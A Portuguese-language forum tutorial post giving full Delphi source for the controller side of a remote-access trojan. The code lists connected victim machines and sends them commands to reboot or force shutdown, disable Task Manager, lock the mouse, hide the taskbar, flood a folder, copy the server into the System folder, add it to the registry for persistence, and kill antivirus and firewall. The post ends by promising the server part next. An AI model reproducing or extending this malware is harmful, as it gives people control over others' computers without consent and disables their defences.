Bom galera acho que o que mais voce ve ai na internet é tutoriais de como fazer seu trojan...
Bem é simples por isso muitos fazem, mas hoje vo por alguns adicionais nos trojans e espero que gostem.
ClienteQuoteunit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, XPMan, StdCtrls, Buttons, ScktComp, Menus, jpeg,
ExtCtrls, ShellApi, Registry;
type
TForm1 = class(TForm)
hcList: TListView;
hcStatus: TStatusBar;
XPManifest1: TXPManifest;
hcServer: TServerSocket;
hcAtivar: TBitBtn;
hcDesativar: TBitBtn;
PopupMenu1: TPopupMenu;
Enviar1: TMenuItem;
AbrirCDDVD1: TMenuItem;
Abrir1: TMenuItem;
Fechar1: TMenuItem;
Reiniciar1: TMenuItem;
Desligar1: TMenuItem;
Logoff1: TMenuItem;
DesligarFora1: TMenuItem;
GerenciadordeTarefasdoWindows1: TMenuItem;
Ativar1: TMenuItem;
Desativar1: TMenuItem;
Standby1: TMenuItem;
Cursor1: TMenuItem;
Iniciar1: TMenuItem;
Mostrar1: TMenuItem;
EsconderIconesdaAreadeTrabalho1: TMenuItem;
Esconder1: TMenuItem;
Mostrar2: TMenuItem;
BarradeTarefas1: TMenuItem;
Ocultar1: TMenuItem;
Mostrar3: TMenuItem;
Image1: TImage;
Image2: TImage;
Image3: TImage;
Registro1: TMenuItem;
PastaSystem1: TMenuItem;
ColocarnoRegistro1: TMenuItem;
DeletarRegistro1: TMenuItem;
DesligarComputador1: TMenuItem;
SumirComRelgio1: TMenuItem;
VoltarcomRelgio1: TMenuItem;
FloodnaPasta1: TMenuItem;
BloquearMouse1: TMenuItem;
ravar1: TMenuItem;
Destravar1: TMenuItem;
FinalizarAntiViruseFirewall1: TMenuItem;
AcessarRemotamente1: TMenuItem;
procedure hcAtivar1Click(Sender: TObject);
procedure hcDesativar1Click(Sender: TObject);
procedure hcClientConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure hcClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure hcListInsert(Sender: TObject; Item: TListItem);
procedure EnviarMensagem1Click(Sender: TObject);
procedure Abrir1Click(Sender: TObject);
procedure hcClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure Fechar1Click(Sender: TObject);
procedure Reiniciar1Click(Sender: TObject);
procedure Logoff1Click(Sender: TObject);
procedure DesligarFora1Click(Sender: TObject);
procedure Ativar1Click(Sender: TObject);
procedure Desativar1Click(Sender: TObject);
procedure Standby1Click(Sender: TObject);
procedure Cursor1Click(Sender: TObject);
procedure Mostrar1Click(Sender: TObject);
procedure Esconder1Click(Sender: TObject);
procedure Mostrar2Click(Sender: TObject);
procedure Ocultar1Click(Sender: TObject);
procedure Mostrar3Click(Sender: TObject);
procedure PastaSystem1Click(Sender: TObject);
procedure ColocarnoRegistro1Click(Sender: TObject);
procedure DeletarRegistro1Click(Sender: TObject);
procedure DesligarComputador1Click(Sender: TObject);
procedure SumirComRelgio1Click(Sender: TObject);
procedure VoltarcomRelgio1Click(Sender: TObject);
procedure FloodnaPasta1Click(Sender: TObject);
procedure ravar1Click(Sender: TObject);
procedure Destravar1Click(Sender: TObject);
procedure FinalizarAntiViruseFirewall1Click(Sender: TObject);
procedure AcessarRemotamente1Click(Sender: TObject);
private
{ Private declarations }
public
{ Private declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.hcAtivar1Click(Sender: TObject);
begin
hcServer.Active := true;
hcStatus.Panels[1].Text := 'Aguardando Conexão...';
end;
procedure TForm1.hcDesativar1Click(Sender: TObject);
begin
hcServer.Active := false;
hcStatus.Panels[1].Text := 'Parado';
hcList.Clear;
end;
procedure TForm1.hcClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
HC : Tlistitem;
begin
HC := hcList.Items.Add;
hc.Caption :=IntToStr( Socket.handle );
hc.SubItems.add ( Socket.RemoteHost );
hc.Subitems.add ( Socket.RemoteAddress );
hc.Data := Socket.Data;
end;
procedure TForm1.hcClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
HC : Tlistitem;
begin
HC := hcList.FindCaption ( 0, IntToStr (socket.Handle),false,true,false);
if HC <> nil then HC.Delete;
hcStatus.Panels[1].Text := 'Usuarios Conectados:' + IntToStr(hcList.Items.Count);
end;
procedure TForm1.hcListInsert(Sender: TObject; Item: TListItem);
begin
hcStatus.Panels[1].Text := 'Usuarios Conectados:' + IntToStr(hcList.Items.Count);
end;
procedure TForm1.EnviarMensagem1Click(Sender: TObject);
Var
msg : string;
begin
if not assigned(hcList.Selected) then exit;
msg := inputbox('Mensagem','Digite uma Mensagem para ser enviada','Minha Mensagem');
hcServer.Socket.Connections[hcList.ItemIndex].SendText ( msg );
hcStatus.Panels[1].Text := 'Mensagem enviada com sucesso.'
end;
procedure TForm1.Abrir1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('abrir_cd');
hcStatus.Panels[1].Text := 'Abrindo CD|DVD...';
end;
procedure TForm1.hcClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
hcStatus.Panels[1].Text := socket.ReceiveText;
end;
procedure TForm1.Fechar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('fechar_cd');
hcStatus.Panels[1].Text := 'Fechando CD|DVD...';
end;
procedure TForm1.Reiniciar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('reiniciar_pc');
hcStatus.Panels[1].Text := 'Reiniciando o PC...';
end;
procedure TForm1.Logoff1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('logoff_pc');
hcStatus.Panels[1].Text := 'Fazendo Logoff...';
end;
procedure TForm1.DesligarFora1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('desligarforte_pc');
hcStatus.Panels[1].Text := 'Desligando o Computador com Força Bruta...';
end;
procedure TForm1.Ativar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('gerenciadorativar_pc');
hcStatus.Panels[1].Text := 'Ativando Gerenciador...';
end;
procedure TForm1.Desativar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('gerenciadordesativar_pc');
hcStatus.Panels[1].Text := 'Desativando Gerenciador...';
end;
procedure TForm1.Standby1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('standby_pc');
hcStatus.Panels[1].Text := 'Entrando em modo Standby...';
end;
procedure TForm1.Cursor1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('cursor_pc');
hcStatus.Panels[1].Text := 'Deixando o Cursor Maluco...';
end;
procedure TForm1.Mostrar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('matariniciar_pc');
hcStatus.Panels[1].Text := 'Finalizando com o botão do iniciar...';
end;
procedure TForm1.Esconder1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('escondericones_pc');
hcStatus.Panels[1].Text := 'Escondendo Ícones da area de trabalho...';
end;
procedure TForm1.Mostrar2Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mostraricones_pc');
hcStatus.Panels[1].Text := 'Mostrando Ícones da area de trabalho...';
end;
procedure TForm1.Ocultar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('tarefaocultada_pc');
hcStatus.Panels[1].Text := 'Ocultando Barra de Tarefas...';
end;
procedure TForm1.Mostrar3Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mostrartarefa_pc');
hcStatus.Panels[1].Text := 'Mostrando barra de Tarefas...';
end;
procedure TForm1.PastaSystem1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system2_pc');
hcStatus.Panels[1].Text := 'Copiando Server para a pasta System...';
end;
procedure TForm1.ColocarnoRegistro1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system_pc');
hcStatus.Panels[1].Text := 'Gravando Server no Registro...';
end;
procedure TForm1.DeletarRegistro1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('system3_pc');
hcStatus.Panels[1].Text := 'Deletando Registro...';
end;
procedure TForm1.DesligarComputador1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('desligar_pc');
hcStatus.Panels[1].Text := 'Desligando o PC...';
end;
procedure TForm1.SumirComRelgio1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('relogio_pc');
hcStatus.Panels[1].Text := 'Finalizando Relógio...';
end;
procedure TForm1.VoltarcomRelgio1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('relogio2_pc');
hcStatus.Panels[1].Text := 'Restaurando Relógio...';
end;
procedure TForm1.FloodnaPasta1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('flood_pc');
hcStatus.Panels[1].Text := 'Fazendo Flood...';
end;
procedure TForm1.ravar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mouse_pc');
hcStatus.Panels[1].Text := 'Bloqueando Mouse...';
end;
procedure TForm1.Destravar1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('mouse2_pc');
hcStatus.Panels[1].Text := 'Desbloqueando Mouse...';
end;
procedure TForm1.FinalizarAntiViruseFirewall1Click(Sender: TObject);
begin
if not assigned(hcList.Selected) then exit;
hcServer.Socket.Connections[hcList.ItemIndex].SendText('kill_pc');
hcStatus.Panels[1].Text := 'Killando Anti-Virus e Firewal...';
end;
end.
Vou explicar, o Cliente vai funcionar com um ServerSocket na qual ele vai enviar as informações > para o Cliente que fica no Server usando o ClientSocket , Meio Invertido né ? Mais funciona que é uma beleza =)
No caso as opções vão ser colocandas no PopupMenu para nao usar botões e botões...
Vamos para o Server agora
Exemplo :
Cliente(//http://img510.imageshack.us/img510/7949/clientejc3.jpg)